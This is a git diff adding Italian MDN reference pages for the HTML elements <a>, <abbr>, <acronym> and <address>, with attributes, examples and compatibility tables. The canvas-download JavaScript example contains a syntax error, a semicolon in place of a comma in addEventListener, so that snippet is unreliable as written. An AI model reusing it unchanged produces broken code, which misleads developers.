+ <dd>Questo attributo specifica la relazione tra l'oggetto di destinazione e il collegamento stesso. Il suo valore è una lista di <a href="/it/docs/Web/HTML/Link_types">tipi di link</a> separati da spazi. La relazione predefinita è <code>void</code>, ossia nessuna.</dd>
+ <dd>Usare questo attributo solo se è presente anche l'attributo {{htmlattrxref("href", "a")}}.</dd>
+ <dt>{{htmlattrdef("rev")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Questo attributo specifica un collegamento inverso, la relazione inversa dell' attributo <strong>rel</strong>. È utile per indicare l'origine un oggetto, ad esempio il suo autore.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("shape")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Questo attributo è utilizzato per definire una regione selezionabile per un collegamento ipertestuale associata con una figura per creare una mappa immagine. I valori per l' attributo sono <code>circle </code>(cerchio), <code>default </code>(l'intera area a disposizione) <code>polygon </code>(poligono) e <code>rect </code>(rettangolo). Le coordinate della mappa sono definite dall'attributo {{htmlattrxref("coords", "a")}}.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Questo attributo specifica dove deve essere visualizzata la risorsa linkata. In HTML4, questo è il nome, o una parola chiave, per una cornice (frame). In HTML5, è il nome, o parola chiave, di un contesto di navigazione (<em>browsing context</em>) (per esempio un'ettichetta, una finestra o un frame in linea). Le seguenti parole chiave hanno uno speciale significato:
+ <ul>
+  <li><code>_self</code>: Carica il documento nello stesso frame. Questo è il valore predefinito.</li>
+  <li><code>_blank</code>: Carica il documento in una nuova finestra.</li>
+  <li><code>_parent</code>: Carica il documento nel frameset genitore del frame corrente. Se non c'è il genitore, questa opzione si comporta allo stesso modo di <code>_self</code>.</li>
+  <li><code>_top</code>: Carica il documento dentro la finestra originale completa (la scheda del browser), cancellando gli altri frame. Se non c'è il genitore, questa opzione si comporta allo stesso modo di <code style="font-style: normal;">_self</code>.</li>
+ </ul>
+ Usare questo attributo solo se è presente anche l'attributo {{htmlattrxref("href", "a")}}.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Questo attributo specifica il tipo della risorsa linkata, sotto forma di tipo MIME. Solitamente è fornito solo come informazione secondaria, ma in futuro i browser potrebbero aggiungere un'icona che identifichi i tipi di file (ad esempio un piccolo altoparlante quando il tipo è <code>audio/wav</code>). Per una lista completa dei tipi MIME supportati, vedere <a class="linkification-ext external" href="http://www.w3.org/TR/html4/references.html#ref-MIMETYPES" title="Linkification: http://www.w3.org/TR/html4/references.html#ref-MIMETYPES">http://www.w3.org/TR/html4/references.html#ref-MIMETYPES</a>.
+ <div> </div>
+
+ <div>Usare questo attributo solo se è presente anche l'attributo {{htmlattrxref("href", "a")}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("urn")}} {{Non-standard_inline}}</dt>
+ <dd>Questo attributo presumibilmente supportato da Microsoft riferisce un nome uniforme di risorsa (uniform resource name (URN)) con il collegamento. Mentre era basato su lavori standard anni addietro, il significato di URN non è più ben definito, quindi questo attributo è insignificante. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534710(VS.85).aspx">urn Property (MSDN)</a></dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Collegamento_ad_un_file_esterno">Collegamento ad un file esterno</h3>
+
+<pre class="brush: xml">&lt;a href="<a class="linkification-ext" href="http://www.mozilla.com/" title="Linkification: http://www.mozilla.com/">http://www.mozilla.com/</a>"&gt;Link esterno&lt;/a&gt;
+</pre>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p><a class="external" href="http://www.mozilla.com/">Link esterno</a></p>
+
+<h3 id="Creare_un'immagine_cliccabile">Creare un'immagine cliccabile</h3>
+
+<p>Questo link aprirà la pagina <code>https://developer.mozilla.org/</code> in una nuova finestra, per via dell'attributo {{htmlattrxref("target", "a", "target=\"_blank\"")}}.</p>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org/" target="_blank"&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6851/mdn_logo.png" alt="MDN"&gt;
+&lt;/a&gt;
+</pre>
+
+<h4 id="Risultato_2">Risultato</h4>
+
+<p><a href="https://developer.mozilla.org/"><img alt="MDN" src="https://mdn.mozillademos.org/files/6851/mdn_logo.png"> </a></p>
+
+<h3 id="Creare_un_link_ad_un'email">Creare un link ad un'email</h3>
+
+<p>Spesso si creano collegamenti o pulsanti che aprono il programma di email dell'utente. Per questo si usano i link <code>mailto</code>.</p>
+
+<p>Per altri dettagli riguardanti  lo schema URL <code>mailto</code>, come ad esempio includere l'oggetto, del testo o altro contenuto, vedere i <a href="/it/docs/Web/Guide/HTML/Email_links">link Email</a> o lo standard <a href="http://tools.ietf.org/html/6068">RFC 6068</a>.</p>
+
+<pre class="brush: html">&lt;a href="mailto:nowhere@mozilla.org"&gt;Invia un'email a nowhere&lt;/a&gt;</pre>
+
+<h4 id="Risultato_3">Risultato</h4>
+
+<p><a href="mailto:nowhere@mozilla.org">Invia un'email a nowhere</a></p>
+
+<h3 id="Usare_l'attributo_download_per_scaricare_un_&lt;canvas>_come_PNG.">Usare l'attributo <code>download</code> per scaricare un <code>&lt;canvas&gt;</code> come PNG.</h3>
+
+<p>Se si vuole permettere all'utente di scaricare un elemento {{HTMLElement("canvas")}} sotto forma di immagine, si può creare un link con l'attributo {{htmlattrxref("download", "a")}} e il contenuto del &lt;canvas&gt; come URL del file:</p>
+
+<pre class="brush: html">&lt;!-- HTML --&gt;
+&lt;canvas id="my-canvas"&gt;&lt;/canvas&gt;
+&lt;a id="download-image" download="disegno.png"&gt;Scarica l'immagine&lt;/a&gt;
+</pre>
+
+<pre class="brush: js">// JavaScript
+var link = document.querySelector("#download-image");
+var canvas = document.querySelector("#my-canvas");
+link.addEventListener("click"; function () {
+  link.href = canvas.toDataURL();
+}, false);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-a-element', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-a-element.html#the-a-element', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.2', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>href="#top"</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("download","a")}}</td>
+   <td>14</td>
+   <td>{{CompatGeckoDesktop("20.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("ping", "a")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td><a href="http://kb.mozillazine.org/Browser.send_pings">Disabilitato di default</a></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>href="#top"</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("download","a")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("20.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">{{htmlattrxref("ping", "a")}}</span></td>
+   <td> </td>
+   <td><a href="http://kb.mozillazine.org/Browser.send_pings" style="font-size: 12px; line-height: 18px;">Disabilitato di default</a></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h3 id="Nota_riguardo_a_Gecko">Nota riguardo a Gecko</h3>
+
+<ul>
+ <li>A partire da Gecko 41 (Firefox 41.0, Thunderbird 41.0, SeaMonkey 2.38), un elemento {{HTMLElement("a")}} senza l'attributo {{htmlattrxref("href", "a")}} non è classificato come contenuto interattivo. Cliccando su di esso dentro un {{HTMLElement("label")}} viene attivato il contenuto etichettato (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1167816">bug 1167816</a>).</li>
+</ul>
+
+<h3 id="Click_e_focus">Click e focus</h3>
+
+<p>Un link ottiene il focus quando vi si clicca sopra in vari browser (come comportamento predefinito).</p>
+
+<h4 id="Cliccando_su_un_HTMLElement(a)_gli_si_assegna_il_focus">Cliccando su un {{HTMLElement("a")}} gli si assegna il focus?</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Browser Desktop</th>
+   <th scope="col">Windows 8.1</th>
+   <th scope="col">OS X 10.9</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Firefox 30.0</th>
+   <td style="background-color: rgb(124, 252, 0);">Sì</td>
+   <td style="background-color: rgb(124, 252, 0);">Sì</td>
+  </tr>
+  <tr>
+   <th scope="row">Chrome ≥39 (<a href="https://code.google.com/p/chromium/issues/detail?id=388666">Chromium bug 388666</a>)</th>
+   <td style="background-color: rgb(124, 252, 0);">Sì</td>
+   <td style="background-color: rgb(124, 252, 0);">Sì</td>
+  </tr>
+  <tr>
+   <th scope="row">Safari 7.0.5</th>
+   <td style="background-color: rgb(211, 211, 211);">N.a.</td>
+   <td style="background-color: yellow;">Solo quando ha l'attributo {{htmlattrxref("tabindex")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Internet Explorer 11</th>
+   <td style="background-color: rgb(124, 252, 0);">Sì</td>
+   <td style="background-color: rgb(211, 211, 211);">N.a.</td>
+  </tr>
+  <tr>
+   <th scope="row">Opera 12</th>
+   <td style="background-color: rgb(124, 252, 0);">Sì</td>
+   <td style="background-color: rgb(124, 252, 0);">Sì</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Toccando_un_HTMLElement(a)_gli_si_assegna_il_focus">Toccando un {{HTMLElement("a")}} gli si assegna il focus?</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Browser Mobili</th>
+   <th scope="col">iOS 7.1.2</th>
+   <th scope="col">Android 4.4.4</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Safari Mobile</th>
+   <td style="background-color: yellow;">Solo quando ha l'attributo {{htmlattrxref("tabindex")}}</td>
+   <td style="background-color: rgb(211, 211, 211);">N.a.</td>
+  </tr>
+  <tr>
+   <th scope="row">Chrome 35</th>
+   <td>???</td>
+   <td style="background-color: yellow;">Solo quando ha l'attributo {{htmlattrxref("tabindex")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Note">Note</h2>
+
+<p>Le seguenti sono chiavi di associazione riservate per due dei maggiori browser e non devono essere usate come valori di accesso: a, c, e, f, g, h, v, freccia sinistra e freccia destra.</p>
+
+<p>L' HTML 3.2 definisce solo gli attributi <strong>name</strong>, <strong>href</strong>, <strong>rel</strong>, <strong>rev</strong>, e <strong>title</strong>.</p>
+
+<p>L' attributo <strong>target</strong> non è definito nei browser che non supportano i frame, come Netscape 1. Inoltre, target non è consentito se si utilizza la variante rigorosa (strict) dell'<a href="/it/docs/XHTML" title="XHTML">XHTML</a>, ma è limitata al frameset o alla forma "di transizione" (transitional).</p>
+
+<h3 id="Raccomandazioni_JavaScript">Raccomandazioni JavaScript</h3>
+
+<p>Succede spesso che un tag {{HTMLElement("a")}} sia usato con l'evento <code>onclick</code>. Per evitare che la pagina venga ricaricata, l'attributo {{htmlattrxref("href", "a")}} viene spesso impostato a <code>"#"</code> o a <code>"javascript:void(0)"</code>. Entrambi questi valori possono portare ad errori inaspettati quando si copiano e aprono link in una nuova scheda e/o finestra. Bisogna essere consapevoli di questo per ragioni di usabilità, e quando gli utenti usano il tag di ancoraggio, bisogna cercare di prevenire i comportamenti di default.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi di espressione <a href="/it/docs/HTML/Text_level_semantics_conveying_elements" title="HTML/Text level semantics conveying elements">text-level semantics</a>: {{HTMLElement("abbr")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/abbr/index.html b/files/it/web/html/element/abbr/index.html
new file mode 100644
index 0000000000..5ab07d12b7
--- /dev/null
+++ b/files/it/web/html/element/abbr/index.html
@@ -0,0 +1,142 @@
+---
+title: <abbr>
+slug: Web/HTML/Element/abbr
+translation_of: Web/HTML/Element/abbr
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L' <em>elemento</em> <em>HTML <code>&lt;abbr&gt;</code> </em>(o elemento HTML di abbreviazione) rappresenta un' abbreviazione e opzionalmente fornisce una descrizione completa. Se presente, l' attributo <strong>title</strong> deve contenere la descrizione completa e nient' altro.</p>
+
+<div class="note">
+<p><strong>Note d' uso: </strong>Quando presente, il numero grammaticale del testo presente nell' attributo <strong>title</strong> deve corrispondere a quello contentuto nell' elemento <code>&lt;abbr&gt;</code>. Questo è il caso di lingue con più di due numeri grammaticali (ad esempio, l' arabo non ha solo singolare e plurale, ma anche duale).</p>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Aree tematiche</a></dfn> <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti del flusso</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">contenuto delle espressioni</a>, contenuto tangibile.</li>
+ <li><dfn>Contenuto consentito</dfn><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">Contenuto delle espressioni</a>.</li>
+ <li><dfn>Omissione Tag</dfn> Nessuno, sia il tag di apertura, sia quello di chiusura sono obbligatori.</li>
+ <li><dfn>Elementi padre consentiti</dfn> qualsiasi elemento che accetta <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenuto delle espressioni</a>.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}} Up to Gecko 1.9.2 (Firefox 3.6) inclusive, Firefox implemented the {{domxref("HTMLSpanElement")}} interface for this element.</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include solo gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<p>Si usa l' attributo <strong>title</strong> per definire la descrizione completa dell' abbreviazione. Molti user agent lo presentano come un suggerimento.</p>
+
+<h2 id="Stile_di_default">Stile di default</h2>
+
+<p>Lo scopo di questo elemento è puramente per convenienza dell'autore e tutti i browser lo visualizzano in linea (<code><a href="/en-US/docs/CSS/display" title="CSS/display">display</a>: inline</code>) di default, sebbene lo stile di defaul vari da un browser all' altro:</p>
+
+<ul>
+ <li>Alcuni browser, come IE, applicano uno stile uguale all' elemento {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox e altri aggiungono una sottolieneatura punteggiata al contenuto dell'elemento.</li>
+ <li>Pochi browser non aggiungono solo una sottolineatura punteggiata, ma lo mettono anche in "maiuscoletto"; per evitare questo stile, è sufficiente aggiungere l'istruzione <code><a href="/en-US/docs/CSS/font-variant" title="CSS/font-variant">font-variant</a>: none</code> nel CSS, il che prevenirà questo comportamento.</li>
+</ul>
+
+<p>Viene quindi fortemente raccomandato agli autori di siti web di on affidarsi allo stile di default. Ricorda che questo elemento non viene supportato da IE in tutte le versioni precedenti a IE7. Per queste versioni di IE che non permettono l'uso di stili per elementi sconosciuti, lo script seguente si rende necessario per ovviare a questo problema:</p>
+
+<pre class="brush:html">&lt;!--[if lte IE 6]&gt;
+  &lt;script&gt;
+    document.createElement("abbr");
+  &lt;/script&gt;
+&lt;![endif]--&gt;</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;p&gt;Tony Blair is the prime minister of the &lt;abbr title="United Kingdom"&gt;UK&lt;/abbr&gt;&lt;/p&gt;
+</pre>
+
+<h3 id="Result" name="Result">Risultato</h3>
+
+<p><img alt="Image:Abbr.gif" src="/@api/deki/files/17/=Abbr.gif"></p>
+
+<p>Tony Blair is the prime minister of the <abbr title="United Kingdom">UK</abbr></p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-abbr-element.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ABBR', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibità_dei_Browser">Compatibità dei Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>2.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>7.0</td>
+   <td>1.3</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi riguardanti <a href="/it/docs/HTML/Text_level_semantics_conveying_elements" title="HTML/Text level semantics conveying elements">la semantica del testo</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+</ul>
+
+{{HTMLRef}}
diff --git a/files/it/web/html/element/acronym/index.html b/files/it/web/html/element/acronym/index.html
new file mode 100644
index 0000000000..57180f14e3
--- /dev/null
+++ b/files/it/web/html/element/acronym/index.html
@@ -0,0 +1,118 @@
+---
+title: <acronym>
+slug: Web/HTML/Element/acronym
+translation_of: Web/HTML/Element/acronym
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>L'elemento HTML <code><strong>&lt;acronym&gt;</strong></code> permette all'autore di indicare che una sequenza di caratteri è un acronimo o un'abbreviazione.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Questo elemento è stato rimosso in HTML5. Gli sviluppatori dovrebbero usare l'elemento {{HTMLElement("abbr")}}.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Attributi</h2>
+
+<p>Questo elemento supporta solo gli <a href="/it/docs/HTML/global_attributes">attributi globali</a>, comuni a tutti gli elementi.</p>
+
+<h2 id="DOM_Interface" name="DOM_Interface">Interfaccia DOM</h2>
+
+<p>Questo elemento implementa l'interfaccia {{domxref("HTMLElement")}}.</p>
+
+<div class="note"><strong>Nota: </strong>Fino a Geko 1.9.2, Firefox implementava l'interfaccia {{domxref("HTMLSpanElement")}}.</div>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush:html">&lt;p&gt;Il &lt;acronym title="World Wide Web"&gt;WWW&lt;/acronym&gt; è solo uno dei componenti di Internet.&lt;/p&gt;
+</pre>
+
+<h2 id="Default_styling" name="Default_styling">Aspetto predefinito</h2>
+
+<p>Dato che questo tag serve solo per la comodità dell'autore, il suo aspetto di default cambia in ogni browser:</p>
+
+<ul>
+ <li>In alcuni browser, come Internet Explorer, questo elemento appare esattamente come uno {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox e alcuni altri browser aggiungono una linea di puntini sotto il contenuto dell'elemento.</li>
+ <li>Alcuni browser non solo aggiungono una lina di puntini, ma ne mostrano anche il contenuto in maiuscolo. Per evitare questo comportamento, si può usare la proprietà CSS {{cssxref("font-variant")}}<strong><code>: none</code></strong>.</li>
+</ul>
+
+<p>Qundi è particolarmente consigliato agli sviluppatori di non affidarsi allo stile predefinito.</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ACRONYM', '&lt;acronym&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>L'elemento HTML {{HTMLElement("abbr")}}.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/address/index.html b/files/it/web/html/element/address/index.html
new file mode 100644
index 0000000000..efc68172a4
--- /dev/null
+++ b/files/it/web/html/element/address/index.html
@@ -0,0 +1,120 @@
+---
+title: <address>
+slug: Web/HTML/Element/address
+translation_of: Web/HTML/Element/address
+---
+<h2 id="Sommario">Sommario</h2>
+<p>L'<em>elemento</em> <em>HTML <code>&lt;address&gt;</code> (indirizzo)</em> può essere usato dagli autori per fornire informazioni di contatto per il più vicino {{HTMLElement("article")}} oppure per il progenitore {{HTMLElement("body")}}; in quest'ultimo caso, viene applicato all'intero documento.</p>
+<div class="note">
+ <p><strong>Note d'uso:</strong></p>
+ <ul>
+  <li>Per rappresentare un indirizzo arbitrario, che non sia relativo alle informazioni di contatto, si usa l'elemento {{HTMLElement("p")}}  anzichè l'elemento <span style="font-family: Courier New;">&lt;address&gt;</span>.</li>
+  <li>Questo elemento non deve contenere ulteriori informazioni oltre a quelle di contatto, come la data di pubblicazione (che appartiene all'elemento {{HTMLElement("time")}}).</li>
+  <li>Tipicamente un elemento <span style="font-family: Courier New;">&lt;address&gt;</span> può essere eventualmente posto dentro l'elemento {{HTMLElement("footer")}} della sezione corrente.</li>
+ </ul>
+</div>
+<ul class="htmlelt">
+ <li><dfn><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Aree tematiche</a></dfn> <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti del flusso</a>, contenuto tangibile.</li>
+ <li><dfn>Contenuto consentito</dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti del flusso</a>, ma senza elementi <span style="font-family: Courier New;">&lt;address&gt; </span>nidificati, no contenuti di intestazione ({{HTMLElement("hgroup")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}), no contenuti di sezione ({{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}), e no negli elementi {{HTMLElement("header")}} o {{HTMLElement("footer")}}.</li>
+ <li><dfn>Omissione Tag</dfn>Nessuno, sia il tag di apertura, sia quello di chiusura sono obbligatori.</li>
+ <li><dfn>Elementi padre consentiti</dfn> Qualsiasi elemento che accetta <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">contenuti del flusso</a>.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}} Prima di Gecko 2.0 (Firefox 4), Gecko implementava questo elemento usanto l'interfaccia {{domxref("HTMLSpanElement")}}</li>
+</ul>
+<h2 id="Attributi">Attributi</h2>
+<p><span style="line-height: 21px;">Questo elemento include solo </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
